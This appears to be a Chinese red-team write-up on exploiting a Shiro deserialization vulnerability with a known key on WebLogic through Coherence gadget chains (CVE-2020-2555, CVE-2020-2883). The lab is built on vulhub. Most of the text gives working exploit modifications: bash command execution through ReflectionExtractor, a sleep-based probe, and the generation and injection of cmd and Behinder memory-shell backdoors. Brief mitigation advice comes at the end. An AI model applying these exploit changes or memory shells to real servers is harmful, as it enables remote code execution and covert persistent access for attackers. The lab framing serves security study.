笔者近期在实战中碰到一个shiro有key无链的情况,原以为是工具带的链不够,又手动生成的许多poc,没成功。在各种测试后,发现项目是部署在weblogic下的,后面在网上搜到几篇文章阅读学习后发现确实会有区别。自行尝试后在本地部署的环境没成功(后面想想应该是coherence.jar的版本问题),最后对项目的代码加以改动才利用成功。
在这里跟大家简单分享一下复现过程。当然,正所谓站在巨人们的肩膀上,能成功离不开各位师傅的无私分享,写过的内容笔者在这里就不再写了一遍了,参考文章链接放在了本文末尾,大家感兴趣可以自行参考。
1.目标weblogic的版本,当然可以fuzz。
2.存在Weblogic的Coherence组件反序列化漏洞:CVE-2020-2555、CVE_2020_2883、CVE-2020-14756、CVE-2021-2135等等。
为了大家可以尝试,采用本地搭建环境来复现一遍。
1.2.1 环境启动
使用dokcer进行weblogic部署,这里使用vulhub中weblogic的CVE-2023-21839。
cd vulhub/weblogic/CVE-2023-21839
docker-compose up -d
因为启动环境后的账号密码是随机的,进到docker容器把控制台密码解密后登录。
console账号密码获取参考:
https://www.freebuf.com/articles/web/220147.html
*左右滑动查看更多
1.2.2 环境部署
shiro的demo地址:
https://github.com/backlion/demo/blob/master/samples-web-1.2.4.war
*左右滑动查看更多
登录后部署项目。
上传war文件。
上传完成之后就一直下一步到底,点击完成。
需要在控制中修改启动的选项,为所有请求提供服务,再点击启动就可以访问了。
访问测试一下没问题。
这里对feihong师傅的项目进行浅析一下,这里建议大家先把项目代码过一遍,有自己的理解后再看后面的部分。
项目网址:
https://github.com/feihong-cs/Attacking_Shiro_with_CVE_2020_2555
*左右滑动查看更多
下载完项目后等pom.xml解析好依赖后(有报错的可能是网络问题),再将各个依赖手动导入一下(Add as Library),不然有些代码会报错。
由于目标环境的weblogic版本是12.2.1.3,但是当前项目依赖中的coherence.jar的版本是12.1.3.0.0。
java -jar coherence.jar -version
只需要将docker中的coherence.jar移植到此项目中即可。
3.1.1 适配linux
这里写好的BasicCMDpayload类是根据CVE_2020_2555写的,并且执行语句是windows的,需要修改为linux执行命令语句,将cmd替换成/bin/bash。
// 修改前
ReflectionExtractor extractor3 = new ReflectionExtractor(
"exec",
new Object[]{new String[]{"cmd", "/c", cmd}}
);
// 修改后
ReflectionExtractor extractor3 = new ReflectionExtractor(
"exec",
new Object[]{new String[]{"/bin/bash", "-c", cmd}}
);
*左右滑动查看更多
3.1.2 支持CVE_2020_2883
再将payload包中的BasicCMDpayload.java修改为
支持CVE_2020_2883的
BasicCMDpayload_2883.java,
根据观察对比testcase包中的
TestScriptEngineWithCVE_2020_2555.java与
TestScriptEnginelWithCVE_2020_2883.java,前半段没修改。
后半段代码都是各自的调用关系。
TestFileOutputStreamWithCVE_2020_2883.java与TestScriptEnginelWithCVE_2020_2883.java,不同功能代码也仅仅是调用类和变量不同。
那就根据这种规律直接将BasicCMDpayload.java中的内容copy到新建的BasicCMDpayload_2883.java中,然后一步步修改后半段的对应关系,将结尾修改为return语句。
// 修改前
//序列化
byte[] bytes = Util.serialize(queue);
//反序列化
Util.deserialize(bytes);
// 修改后
//序列化
return Util.serialize(queue);
*左右滑动查看更多
将JavaScript脚本解析引擎ScriptEngineManager修改为可以执行命令的Runtime。
//修改前
queueArray[0] = ScriptEngineManager.class;
//修改后
queueArray[0] = Runtime.class;
*左右滑动查看更多
3.1.3 生成cookie值
在主函数那边添加一条case的代码,以便能调用成功,运行生成cookie的值。
发送数据包。
进入docker查看,命令执行成功。
当目标不出网可以通过延迟效果,判断是否存在漏洞,也可以检测是否存在对应的漏洞或者coherence.jar版本是否正确。
同理只是将ScriptEnginePayload.java按照CVE_2020_2883利用代码再修改成ScriptEnginePayload_2883.java类,这里只说关键的地方。根据ScriptEnginePayload.java中的代码逻辑。通过JavaScript脚本解析引擎实现了任意代码执行,那就将执行代码的地方替换成sleep语句。
// 修改前
ReflectionExtractor extractor4 = new ReflectionExtractor(
"eval",
new Object[]{code}
);
// 修改后
ReflectionExtractor extractor4 = new ReflectionExtractor(
"eval",
new Object[]{"java.lang.Thread.sleep(5000);"}
);
*左右滑动查看更多
同理再写一条case,生成cookie的值。
发送数据包,成功延迟了。
既然可以任意执行java代码,那就可以做更多的事情:命令执行、回显、内存马等等。
本身已经修改好的ScriptEnginePayload_2883.java类,将原本的sleep语句注释还原即可。
// 修改前
ReflectionExtractor extractor4 = new ReflectionExtractor(
"eval",
new Object[]{"java.lang.Thread.sleep(5000);"}
// new Object[]{code}
);
// 修改后
ReflectionExtractor extractor4 = new ReflectionExtractor(
"eval",
// new Object[]{"java.lang.Thread.sleep(5000);"}
new Object[]{code}
);
*左右滑动查看更多
运行生成cookie。
成功回显。
3.4.1 cmd小马
直接用项目中的内存马是可以成功的,由于打的内存马是两种:cmd小马和冰蝎马(需要魔改),使用ScriptEnginePayload_2883去加载WeblogicMemshellLoader类。
在target文件中找到编译后的WeblogicMemshellTemplate.class进行base64编码,放到请求包的body里。
进行url编码。
发现小马可以使用。
由于此项目默认打入的是魔改冰蝎的内存马,所以正常的冰蝎无法直接连接,但是可以修改代码打入其他可以连接的内存马。
3.4.2 获取注入filter的代码
这里使用jMG java 内存马生成工具,生成一个内存马。
网址链接:
https://mp.weixin.qq.com/s/oAiGWY9ABhn2o148snA_sg
*左右滑动查看更多
把SOAPUtils.class放入到idea中,获取base64加密后的数据。
根据代码里发现,这一串数据需要先base64解密,然后再zip解压缩。
进行base64解密。
解压后重命名。
就获得了内存马的代码。
一会需要使用woodmem.class进行base64编码后结果。
3.4.3 修改代码打入内存马
将WeblogicMemshellTemplate.java复制成一份WeblogicMemshellTemplate2.java,修改三处地方。
内存马的类名(内存马生成器中可以看到)
woodmem.class进行base64编码后的结果
修改WeblogicMemshellLoader.java中的调用类为刚刚生成的WeblogicMemshellTemplate2.java的类名。
生成cookie值。
到编译好的target目录去把WeblogicMemshellTemplate2.class进行base64编码,后赋值给body中的code参数。
对code的值url编码后发送。
成功连接冰蝎马。
1、及时更新补丁:weblogic不断推出新的安全补丁,建议管理员及时升级以确保系统的安全性。
2、建议及时升级shiro版本,无法升级版本需要修改shiro的默认key。
3、建议管理员将用户权限设置为最低限度,避免普通用户对系统进行恶意操作。
4、建议部署防火墙、入侵检测和反病毒软件等安全设备,减少网络攻击的风险。
5、建议定期进行安全审计,以及时发现和排除系统漏洞。
6、开启访问控制,配置访问控制列表(ACLs)限制外部IP访问,仅允许受信任的IP地址访问网络。
7、经常备份关键数据,并将备份文件存放在一个安全的位置,以防意外损失或攻击。
本项目修改后代码放这里:
https://github.com/xi3w3n/Attacking_Shiro_With_Weblogic
*左右滑动查看更多
改进空间
项目只是简单的改进利用一下,但是还有很多地方可以继续进行改进完善的:
- 添加CVE-2020-14756、CVE-2021-2135利用代码
- 操作系统识别后命令执行
- Coherence多版本兼容
- ……
参考链接及推荐阅读
https://github.com/feihong-cs/Attacking_Shiro_with_CVE_2020_2555
https://mp.weixin.qq.com/s/GckEFXWYcIiZZ1-BKwB6yA
https://xz.aliyun.com/t/8202
https://xz.aliyun.com/t/9343
*左右滑动查看更多
原文始发于微信公众号(安恒信息安全服务):九维团队-红队(突破)| 记一次weblogic下的shiro反序列化漏洞利用
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论